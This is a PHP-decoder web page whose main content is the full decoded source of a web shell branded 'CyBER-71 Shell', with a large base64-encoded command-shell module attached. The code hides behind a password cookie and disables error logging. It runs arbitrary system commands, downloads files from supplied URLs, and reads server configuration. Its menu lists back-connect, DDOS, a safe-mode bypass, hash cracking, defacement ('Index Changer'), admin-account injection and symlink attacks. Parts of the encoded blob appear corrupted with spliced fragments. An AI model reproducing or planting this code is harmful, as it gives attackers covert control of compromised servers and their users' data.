Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* * @Modified By 5y5t3M_cR45h3R * @Specially Thanks To X Code Pagla * @https:..

Decoded Output download

?>b'<?php
if(empty($_COOKIE[\'mypass\'])) $_COOKIE[\'mypass\'] = \'\';
if($_COOKIE[\'mypass\']!=$mypass)
{
if(isset($_POST[\'mypass\']))
{
if(md5($_POST[\'mypass\'])==$mypass)
{
setcookie(\'mypass\',$mypass);
header("Location: ?");
die();
}else
echo "Wrong Password  <br/>";
}
echo "<form action=\'?\' method=\'post\'>
<input name=\'mypass\' type=\'password\' />
<input value=\'Submit\' type=\'submit\' />
</form>";
die();
}


if(isset($_GET["solevisible"])){
$auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-1251";
exit; }
@define(\'VERSION\',\'1.0\');
@error_reporting(E_ALL ^ E_NOTICE);
@session_start();
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
if(get_magic_quotes_gpc()) {
function alfastripslashes($array) {
return is_array($array) ? array_map(\'alfastripslashes\', $array) : stripslashes($array);
}
$_POST = alfastripslashes($_POST);
}
$default_action = \'FilesMan\';
$default_use_ajax = true;
$default_charset = \'Windows-1251\';
if (strtolower(substr(PHP_OS,0,3))=="win")
$sys=\'win\';
else
$sys=\'unix\';
$home_cwd = @getcwd();
if(isset($_POST[\'c\']))
@chdir($_POST[\'c\']);
$cwd = @getcwd();
if($sys == \'win\')
{
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != \'/\' )
$cwd .= \'/\';
function alfaEx($in) {
$out = \'\';
if (function_exists(\'exec\')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists(\'passthru\')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists(\'system\')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists(\'shell_exec\')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
$down=@getcwd();
if($sys=="win")
$down.=\'\\';
else
$down.=\'/\';
if(isset($_POST[\'rtdown\']))
{
$url = $_POST[\'rtdown\'];
$newfname = $down. basename($url);
$file = fopen ($url, "rb");
if ($file) {
$newf = fopen ($newfname, "wb");
if ($newf)
while(!feof($file)) {
fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
}
}
if ($file) {
fclose($file);
}
if ($newf) {
fclose($newf);
}
}
function alfahead()
{
if(empty($_POST[\'charset\']))
$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];
$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
$totalSpace = $totalSpace?$totalSpace:1;
$on="<font color=#0F0> ON </font>";
$of="<font color=red> OFF </font>";
$none="<font color=#0F0> NONE </font>";
if(function_exists(\'curl_version\'))
$curl=$on;
else
$curl=$of;
if(function_exists(\'mysql_get_client_info\'))
$mysql=$on;
else
$mysql=$of;
if(function_exists(\'mssql_connect\'))
$mssql=$on;
else
$mssql=$of;
if(function_exists(\'pg_connect\'))
$pg=$on;
else
$pg=$of;
if(function_exists(\'oci_connect\'))
$or=$on;
else
$or=$of;
if(@ini_get(\'disable_functions\'))
$disfun=@ini_get(\'disable_functions\');
else
$disfun="All Functions Enabled";
if(@ini_get(\'safe_mode\'))
$safe_modes="<font color=red>ON</font>";
else
$safe_modes="<font color=#0F0 >OFF</font>";
if(@ini_get(\'open_basedir\'))
$open_b=@ini_get(\'open_basedir\');
else
$open_b=$none;
if(@ini_get(\'safe_mode_exec_dir\'))
$safe_exe=@ini_get(\'safe_mode_exec_dir\');
else
$safe_exe=$none;
if(@ini_get(\'safe_mode_include_dir\'))
$safe_include=@ini_get(\'safe_mode_include_dir\');
else
$safe_include=$none;
if(!function_exists(\'posix_getegid\'))
{
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else
{
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid[\'name\'];
$uid = $uid[\'uid\'];
$group = $gid[\'name\'];
$gid = $gid[\'gid\'];
}
$cwd_links = \'\';
$path = explode("/", $GLOBALS[\'cwd\']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].\'/\';
$cwd_links .= "\")\'>".$path[$i]."/</a>";
}
$drives = "";
foreach(range(\'c\',\'z\') as $drive)
if(is_dir($drive.\':\\'))
$drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
echo \'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="http://files.softicons.com/download/internet-icons/glossy-flag-icons-by-nordic-factory/png/48/bd.png" rel="icon" type="image/x-icon"/>
<title>..:: \'.$_SERVER[\'HTTP_HOST\'].\'~::CyBER-71 Shell::~</title>
<style type="text/css">
<!--
#alert {position: relative;}
#alert:hover:after {
background: hsla(0,0%,0%,.8);
border-radius: 3px;
color: #f6f6f6;
content: \'Hidden shell\';
font: bold 12px/30px sans-serif;
height: 30px;
left: 50%;
margin-left: -60px;
position: absolute;
text-align: center;
top: 50px; width: 120px;
}
#alert:hover:before {
border-bottom: 10px solid hsla(0,0%,0%,.8);
border-left: 10px solid transparent;
border-right: 10px solid transparent;content: \'\';
height: 0;
left: 50%;
margin-left: -10px;
position: absolute;
top: 40px;
width: 0;
}
#alert:target {display: none;}
.alert_red {
animation: alert 1s ease forwards;
background-color: #c4453c;
background-image: linear-gradient(135deg, transparent,transparent 25%, hsla(0,0%,0%,.1) 25%,hsla(0,0%,0%,.1) 50%, transparent 50%,transparent 75%, hsla(0,0%,0%,.1) 75%,hsla(0,0%,0%,.1));
background-size: 20px 20px;box-shadow: 0 5px 0 hsla(0,0%,0%,.1);
color: #f6f6f6;display: block;
font: bold 16px/40px sans-serif;
height: 40px;
position: absolute;
text-align: center;
text-decoration: none;
top: -5px;
width: 100%;
}
.alert_green {animation: alert 1s ease forwards;
background-color: #27979B;
background-image: linear-gradient(135deg, transparent,transparent 25%, hsla(0,0%,0%,.1) 25%,hsla(0,0%,0%,.1) 50%, transparent 50%,transparent 75%, hsla(0,0%,0%,.1) 75%,hsla(0,0%,0%,.1));
background-size: 20px 20px;
box-shadow: 0 5px 0 hsla(0,0%,0%,.1);
color: #f6f6f6;
display: block;
font: bold 16px/40px sans-serif;
height: 40px;
position: absolute;
text-align: center;
text-decoration: none;
top: -5px;
width: 100%;
}
@keyframes alert {0% { opacity: 0; }50% { opacity: 1; }100% { top: 0; }}
.whole {
background-color: #0E304A;
height:auto;
width: auto;
margin-top: 10px;
margin-right: 10px;
margin-left: 10px;
}
.header {
height: auto;
width: auto;
border: 7px solid #0E304A;
color: #67ABDF;
font-size: 12px;
font-family: Verdana, Geneva, sans-serif;
background-color: #000;
}
.header a {color:#0F0; text-decoration:none;}
span {
font-weight: bolder;
color: #FFF;
}
#meunlist {
font-family: Verdana, Geneva, sans-serif;
color: #FFF;
background-color: #000;
width: auto;
border-right-width: 7px;
border-left-width: 7px;
border-top-style: solid;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: solid;
border-top-color: #0E304A;
border-right-color: #0E304A;
border-bottom-color: #0E304A;
border-left-color: #0E304A;
height: auto;
font-size: 12px;
font-weight: bold;
border-top-width: 0px;
}
.whole #meunlist ul {
padding-top: 5px;
padding-right: 5px;
padding-bottom: 7px;
padding-left: 2px;
text-align:center;
list-style-type: none;
margin: 0px;
}
.whole #meunlist li {
margin: 0px;
padding: 0px;
display: inline;
}
.whole #meunlist a {
font-family: arial, sans-serif;
font-size: 14px;
text-decoration:none;
font-weight: bold;
color: #fff;
clear: both;
width: 100px;
margin-right: -6px;
padding-top: 3px;
padding-right: 15px;
padding-bottom: 3px;
padding-left: 15px;
border-right-width: 1px;
border-right-style: solid;
border-right-color: #FFF;
}
.whole #meunlist a:hover {
color: #000;
background: #646464;
}
.foot {
font-family: Verdana, Geneva, sans-serif;
background-color: #000;
margin: 0px;
padding: 0px;
width: 100%;
text-align: center;
font-size: 12px;
color: #0E304A;
border-right-width: 7px;
border-left-width: 7px;
border-bottom-width: 7px;
border-bottom-style: solid;
border-right-style: solid;
border-right-style: solid;
border-left-style: solid;
border-top-color: #0E304A;
border-right-color: #0E304A;
border-bottom-color: #0E304A;
border-left-color: #0E304A;
}
#text{
text-align:center;
}
\';
if(is_writable($GLOBALS[\'cwd\']))
{
echo ".foottable {
width: 300px;
font-weight: bold;
}";}
else
{
echo ".foottable {
width: 300px;
font-weight: bold;
background-color:red;
}
.dir {
background-color:red;
}
";
}
echo \'.main th{text-align:left;}
.main a{color: #FFF;}
.main tr:hover{background-color:#646464;}
.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:99%; height:300px; }
</style>
\';
echo "<script>
var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';
var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'
var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';
var alfa1_ = \'" . ((strpos(@$_POST[\'alfa1\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'alfa1\'],ENT_QUOTES)) ."\';
var alfa2_ = \'" . ((strpos(@$_POST[\'alfa2\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'alfa2\'],ENT_QUOTES)) ."\';
var alfa3_ = \'" . ((strpos(@$_POST[\'alfa3\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'alfa3\'],ENT_QUOTES)) ."\';
var alfa4_ = \'" . ((strpos(@$_POST[\'alfa4\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'alfa4\'],ENT_QUOTES)) ."\';
var alfa5_ = \'" . ((strpos(@$_POST[\'alfa5\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'alfa5\'],ENT_QUOTES)) ."\';
var alfa6_ = \'" . ((strpos(@$_POST[\'alfa6\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'alfa6\'],ENT_QUOTES)) ."\';
var alfa7_ = \'" . ((strpos(@$_POST[\'alfa7\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'alfa7\'],ENT_QUOTES)) ."\';
var alfa8_ = \'" . ((strpos(@$_POST[\'alfa8\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'alfa8\'],ENT_QUOTES)) ."\';
var alfa9_ = \'" . ((strpos(@$_POST[\'alfa9\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'alfa9\'],ENT_QUOTES)) ."\';
var alfa10_ = \'" . ((strpos(@$_POST[\'alfa10\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'alfa10\'],ENT_QUOTES)) ."\';
var d = document;
function set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(alfa1!=null)d.mf.alfa1.value=alfa1;else d.mf.alfa1.value=alfa1_;
if(alfa2!=null)d.mf.alfa2.value=alfa2;else d.mf.alfa2.value=alfa2_;
if(alfa3!=null)d.mf.alfa3.value=alfa3;else d.mf.alfa3.value=alfa3_;
if(alfa4!=null)d.mf.alfa4.value=alfa4;else d.mf.alfa4.value=alfa4_;
if(alfa5!=null)d.mf.alfa5.value=alfa5;else d.mf.alfa5.value=alfa5_;
if(alfa6!=null)d.mf.alfa6.value=alfa6;else d.mf.alfa6.value=alfa6_;
if(alfa7!=null)d.mf.alfa7.value=alfa7;else d.mf.alfa7.value=alfa7_;
if(alfa8!=null)d.mf.alfa8.value=alfa8;else d.mf.alfa8.value=alfa8_;
if(alfa9!=null)d.mf.alfa9.value=alfa9;else d.mf.alfa9.value=alfa9_;
if(alfa10!=null)d.mf.alfa10.value=alfa10;else d.mf.alfa10.value=alfa10_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset) {
set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset);
d.mf.submit();
}</script>";
echo \'
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div class="whole">
<form method=post name=mf style="display:none;">
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=alfa1>
<input type=hidden name=alfa2>
<input type=hidden name=alfa3>
<input type=hidden name=alfa4>
<input type=hidden name=alfa5>
<input type=hidden name=alfa6>
<input type=hidden name=alfa7>
<input type=hidden name=alfa8>
<input type=hidden name=alfa9>
<input type=hidden name=alfa10>
<input type=hidden name=charset>
</form>
<div id=\'alert\'><a class="alert_green" target="_blank" href="?solevisible">Hidden Shell Is Here ( Click )</font></a></div><br><p>
<div class="header"><table width="100%" border="0" align="lift">
<tr>
<td width="3%"><span><font color=#27979B>Uname:</font></span></td>
<td colspan="2"><b>\'.substr(@php_uname(), 0, 120).\'</b></td>
</tr>
<tr>
<td><span><font color=#27979B>User:</font></span></td>
<td><b>\'. $uid . \' [ \' . $user . \' ] </b><span> <font color=#27979B> Group: </font></span><b>\' . $gid . \' [ \' . $group . \' ]</b> </td>
<td width="12%" rowspan="8"><img width="240px" alt="" src="http://s23.postimg.org/xv95csi63/safe_image.png" /></td>
</tr>
<tr>
<td><span><font color=#27979B>PHP:</font></span></td>
<td><b>\'.@phpversion(). \' </b><span> <font color=#27979B> Safe Mode: </font>\'.$safe_modes.\'</span></td>
</tr>
<tr>
<td><span><font color=#27979B>ServerIP:</font></span></td>
<td><b>\'.@$_SERVER["SERVER_ADDR"].\' <span><font color=#27979B>Your IP:</font></span><b> \'.@$_SERVER["REMOTE_ADDR"].\'</b></td>
</tr>
<tr>
<td><span><font color=#27979B>Domains:</font></span></td>
<td width="76%"><b>\';
if($GLOBALS[\'sys\']==\'unix\')
{
$d0mains = @file("/etc/named.conf");
if(!$d0mains)
{
echo "CANT READ named.conf";
}
else
{
$count;
foreach($d0mains as $d0main)
{
if(@ereg("zone",$d0main))
{
preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
flush();
$count++;
}
}
}
echo "$count Domains";
}
}
else{ echo"CANT READ |Windows|";}
echo \'</b></td>
</tr>
<tr>
<td height="16"><span><font color=#27979B>HDD:<font></span></td>
<td><span><font color=#27979B>Total:</font></span><b>\'.alfaSize($totalSpace).\' </b><span><font color=#27979B>Free:</font></span><b>\' . alfaSize($freeSpace) . \' [\'. (int) ($freeSpace/$totalSpace*100) . \'%]</b></td>
</tr>\';
if($GLOBALS[\'sys\']==\'unix\' )
{
if(!@ini_get(\'safe_mode\'))
{
if(function_exists("system") || function_exists("exec") || function_exists("passthru") || function_exists("shell_exec")){
echo \'<tr><td height="18" colspan="2"><span><font color=#27979B>Useful : </font></span><b>\';
$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzialfa2\',\'nc\',\'locate\',\'suidperl\');
foreach($userful as $item)
if(alfaWhich($item))
echo $item.\',\';
echo \'</b></td>
</tr>
<tr>
<td height="0" colspan="2"><span><font color=#27979B>Downloader:</font></span>\';
$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
foreach($downloaders as $item2)
if(alfaWhich($item2))
echo \'<b>\'.$item2.\',\';
echo \'</b></td>
</tr>\';
}else{
echo \'<tr><td height="18" colspan="2"><span><font color=#27979B>useful:<font></span>\';
echo \'--------------</td>
</tr><td height="0" colspan="2"><span><font color=#27979B>Downloader:</font> </span>-------------</td>
</tr>\';
}
}
else
{
echo \'<tr><td height="18" colspan="2"><span><font color=#27979B>useful:<font></span>\';
echo \'--------------</td>
</tr><td height="0" colspan="2"><span><font color=#27979B>Downloader:</font> </span>-------------</td>
</tr>\';
}
}
else
{
echo \'<tr><td height="18" colspan="2"><span><font color=#27979B>Window:</font></span><b>\';
echo alfaEx(\'ver\');
echo \'</td>
</tr> <tr>
<td height="0" colspan="2"><span><font color=#27979B>Downloader:</font> </span>-------------</td>
</tr></b>\';
}
$quotes = get_magic_quotes_gpc();if ($quotes == "1" or $quotes == "on"){$magic = \'<b><font color="#0F0">ON</font>\';}else{$magic = \'<b><font color="red">OFF</font>\';}
echo \'<tr>
<td height="16" colspan="2"><span><font color=#27979B>Disabled Functions:</font></span><b>\'.$disfun.\'</b></td>
</tr>
<tr>
<td height="16" colspan="2"><span><font color=#27979B>CURL:</font><b>\'.$curl.\' </b><font color=#27979B>Magic Quotes:</font><b>\'.$magic.\' </b><font color=#27979B> MySQL:</font><b>\'.$mysql.\' </b><font color=#27979B>MSSQL:</font><b>\'.$mssql.\' </b><font color=#27979B> PostgreSQL:</font><b>\'.$pg.\'</b> <font color=#27979B> Oracle:</font> </span><b>\'.$or.\'</b></td><td width="15%">\'.base64_decode("PGEgaHJlZj0iaHR0cDovL3pvbmUtaC5vcmcvYXJjaGl2ZS9ub3RpZmllcj1jeWJlci03MSIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuPjxmb250IGNvbG9yPSIjMEYwIj7CoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoEN5QkVSLTcxPC9mb250Pjwvc3Bhbj48L2E+").\'</td>
</tr>
<tr>
<td height="11" colspan="3"><span><font color=#27979B>Open_basedir:<b>\'.$open_b.\'</b></font> <font color=#27979B>Safe_mode_exec_dir:</b>\'.$safe_exe.\'</b> </font><font color=#27979B> Safe_mode_include_dir:</b>\'.$safe_include.\'</b></font></td>
</tr>
<tr>
<td height="11"><span><font color=#27979B>SoftWare:<font color=#27979B> </span></td>
<td colspan="2"><b>\'.@getenv(\'SERVER_SOFTWARE\').\'</b></td>
</tr>\';
if($GLOBALS[sys]=="win")
{
echo \'<tr>
<td height="12"><span><font color=#27979B>DRIVE:</font></span></td>
<td colspan="2"><b>\'.$drives.\'</b></td>
</tr>\';
}
echo \'<tr>
<td height="12"><span><font color=#27979B>PWD:</font></span></td>
<td colspan="2">\'.$cwd_links.\' <a href=# onclick="g(\'FilesMan\',\'\' . $GLOBALS[\'home_cwd\'] . \'\',\'\',\'\',\'\')"><font color=red >| Home Shell |</font></a></td>
</tr>
</table>
</div>
<div id="meunlist">
<ul>
<li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')"><font color=#27979B>Home</font></a></li>
<li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')"><font color=#27979B>Process</font></a></li>
<li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')"><font color=#27979B>Eval</font></a></li>
<li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')"><font color=#27979B>SQL</font></a></li>
<li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')"><font color=#27979B>En-Decoder</font></a></li>
<li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')"><font color=#27979B>BC</font></a></li>
<li><a href="#" onclick="g(\'zoneh\',null,\'\',\'\',\'\')"><font color=#27979B>ZONE-H</font></a></li>
<li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')"><font color=#27979B>DDOS</font></a></li>
<li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')"><font color=#27979B>ByPasser</font></a></li>
<li><a href="#" onclick="g(\'cgishell\',null,\'\',\'\',\'\')"><font color=#27979B>Cgi Perl</font></a></li>
<li><a href="#" onclick="g(\'cgipython\',null,\'\',\'\',\'\')"><font color=#27979B>Cgi Python</font></a></li>
<li><a href="#" onclick="g(\'cmdphp\',null,\'\',\'\',\'\')"><font color=#27979B>CMD</font></a></li>
<li><a href="#" onclick="g(\'cpcrack\',null,\'\',\'\',\'\')"><font color=#27979B>MD5 Cracker</font></a></li>
<li><a href="#" onclick="g(\'portscanner\',null,\'\',\'\',\'\')"><font color=#27979B>Port Scaner</font></a></li>
<li><a href="#" onclick="g(\'basedir\',null,\'\',\'\',\'\')"><font color=#27979B>Open BaseDir</font></a></li>
<li><a href="#" onclick="g(\'mail\',null,\'\',\'\',\'\')"><font color=#27979B>Fake Mail</font></a></li>
<li><a href="#" onclick="g(\'ziper\',null,\'\',\'\',\'\')"><font color=#27979B>Ziper</font></a></li>
<li><a href="#" onclick="g(\'IndexChanger\',null,\'\',\'\',\'\')"><font color=#27979B>Index Changer</font></a></li>
<li><a href="#" onclick="g(\'pwchanger\',null,\'\',\'\',\'\')"><font color=#27979B>Add New Admin</font></a></li>
<li><a href="#" onclick="g(\'Vbinject\',null,\'\',\'\',\'\')"><font color=#27979B>Vb Shell inject</font></a></li>
<li><a href="#" onclick="g(\'php2xml\',null,\'\',\'\',\'\')"><font color=#27979B>PHP2XML</font></a></li>
<li><a href="#" onclick="g(\'cloudflare\',null,\'\',\'\',\'\')"><font color=#27979B>CloudFlare</font></a></li>
<li><a href="#" onclick="g(\'Whmcs\',null,\'\',\'\',\'\')"><font color=#27979B>Whmcs</font></a></li>
<li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')"><font color=#27979B>Symlink</font></a></li>
<li><a href="#" onclick="g(\'team\',null,\'\',\'\',\'\')"><font color=#27979B>About Us</font></a></li>
<li><a href="#" onclick="g(\'selfrm\',null,\'\',\'\',\'\')"><font color=#27979B>Remove Shell</font></a></li>
</ul>
</div>
\';
}
function alfacmdphp(){
alfahead();
echo \'<div class=header>\';
$code = \'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KS5zY3JvbGxUb3A9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS5zY3JvbGxIZWlnaHQ7Jyk7DQogZXhpdDsNCn0NCmVjaG8oJzxzdHlsZT5ib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsgY29sb3I6IHdoaXRlOyBmb250LXNpemU6IDEycHg7fTwvc3R5bGU+PHNjcmlwdD4nKTsgPz4NCndpbmRvdy5vbmxvYWQgPSBzZXR0aGVzaXplOw0Kd2luZG93Lm9ucmVzaXplID0gc2V0dGhlc2l6ZTsNCndpbmRvdy51cGRpciA9IDA7DQp3aW5kb3cuY29tbWFuZHMgPSBuZXcgQXJyYXkoKTsNCndpbmRvdy5sb2dnZWR1c2VyID0gIjw/cGhwDQokY21kID0gc2hlbGxfZXhlYzIoIndob2FtaSIsIE5VTEwpOw0KaWYgKHN0cnBvcygkY21kLCAibm90IGZvdW5kIik9PT1GQUxTRSkNCnsNCiBlY2hvKHN1YnN0cigkY21kLCAwLCBzdHJsZW4oJGNtZCktMSkpOyANCn0NCj8+IjsNCndpbmRvdy5jd2QgPSAiPD9waHANCiRjbWQgPSBzaGVsbF9leGVjMigicHdkIiwgTlVMTCk7DQppZiAoc3RycG9zKCRjbWQsICJub3QgZm91bmQiKT09PUZBTFNFKQ0Kew0Scyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkKIGVjaG8oc3Vic3RyKCRjbWQsIDAsIHN0cmxlbigkY21kKS0xKSk7IA0KfQ0KPz4iOw0Kd2luZG93LmhvbWVjd2QgPSAiPD9waHANCiRjbWQgPSBzaGVsbF9leGVjMigicHdkIiwgTlVMTCk7DQppZiAoc3RycG9zKCRjbWQsICJub3QgZm91bmQiKT09PUZBTFNFKQ0Kew0KIGVjaG8oc3Vic3RyKCRjbWQsIDAsIHN0cmxlbigkY21kKS0xKSk7IA0KfQ0KPz4iOw0KZnVuY3Rpb24gc2V0dGhlc2l6ZSgpDQp7DQogZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS5zdHlsZS5oZWlnaHQ9KHdpbmRvdy5pbm5lckhlaWdodC0yMCkrInB4IjsNCiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnN0eWxlLndpZHRoPSh3aW5kb3cuaW5uZXJXaWR0aC0yMCkrInB4IjsNCiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnNlbGVjdGlvblN0YXJ0PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUubGVuZ3RoOw0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuc2VsZWN0aW9uRW5kPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFs